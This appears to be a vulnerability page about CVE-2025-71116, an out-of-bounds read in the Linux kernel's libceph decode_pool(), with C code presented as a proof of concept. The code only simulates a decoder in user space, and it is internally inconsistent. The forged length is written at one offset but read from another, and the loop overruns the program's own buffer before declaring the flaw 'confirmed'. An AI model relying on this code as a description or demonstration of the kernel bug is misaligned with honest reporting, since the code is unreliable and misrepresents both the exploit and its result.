Linux内核libceph decode_pool()边界检查不足导致越界读取漏洞(CVE-2025-71116)

/* * PoC for CVE-2025-71116: libceph decode_pool() out-of-bounds read * This PoC demonstrates the vulnerability by creating a maliciously * corrupted osdmap with undersized pool envelope length. * * Note: This requires libceph development headers and kernel access. * For demonstration purposes only. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> /* Simulated ceph osdmap structure */ struct ceph_osdmap { uint32_t epoch; uint32_t pool_max; uint8_t *data; size_t data_len; }; /* Malicious pool encoding with undersized length */ static uint8_t* create_malicious_osdmap(size_t *out_len) { /* Structure: [type][len][pool_id][undersized_envelope_len][corrupted_data...] */ size_t total = 1 + 4 + 4 + 4 + 256; uint8_t *buf = malloc(total); size_t pos = 0; /* CEPH_TYPE_POOL (0x4) */ buf[pos++] = 0x4; /* Pool ID */ buf[pos++] = 0x01; buf[pos++] = 0x00; buf[pos++] = 0x00; buf[pos++] = 0x00; /* Maliciously undersized envelope length (should be much larger) */ buf[pos++] = 0x08; /* Set to 8, but actual data needs more */ buf[pos++] = 0x00; buf[pos++] = 0x00; buf[pos++] = 0x00; /* Fill with data that will trigger OOB read */ memset(buf + pos, 0x41, 256); *out_len = total; return buf; } /* Simulated vulnerable decode_pool function */ int decode_pool_vulnerable(uint8_t *data, size_t len) { size_t pos = 0; uint32_t envelope_len; /* Read envelope length (attacker controlled) */ if (pos + 4 > len) return -1; memcpy(&envelope_len, data + pos, 4); pos += 4; /* Vulnerable: Only bounds check based on attacker-controlled length */ if (pos + envelope_len > len) { /* This check is insufficient */ return -1; } /* Try to decode fields - OOB read occurs here */ for (int i = 0; i < envelope_len + 100; i++) { /* Access beyond envelope_len causes OOB */ volatile uint8_t val = data[pos + i]; printf("Reading byte at offset %zu: 0x%02x\n", pos + i, val); } return 0; } int main(int argc, char *argv[]) { printf("CVE-2025-71116 PoC - libceph decode_pool OOB Read\n"); printf("================================================\n\n"); size_t osdmap_len; uint8_t *malicious_osdmap = create_malicious_osdmap(&osdmap_len); printf("Created malicious osdmap, length: %zu bytes\n", osdmap_len); printf("Attempting to trigger OOB read in decode_pool()...\n\n"); int result = decode_pool_vulnerable(malicious_osdmap, osdmap_len); if (result == 0) { printf("\nOOB read triggered - vulnerability confirmed\n"); } else { printf("\nFailed to trigger vulnerability\n"); } free(malicious_osdmap); return 0; }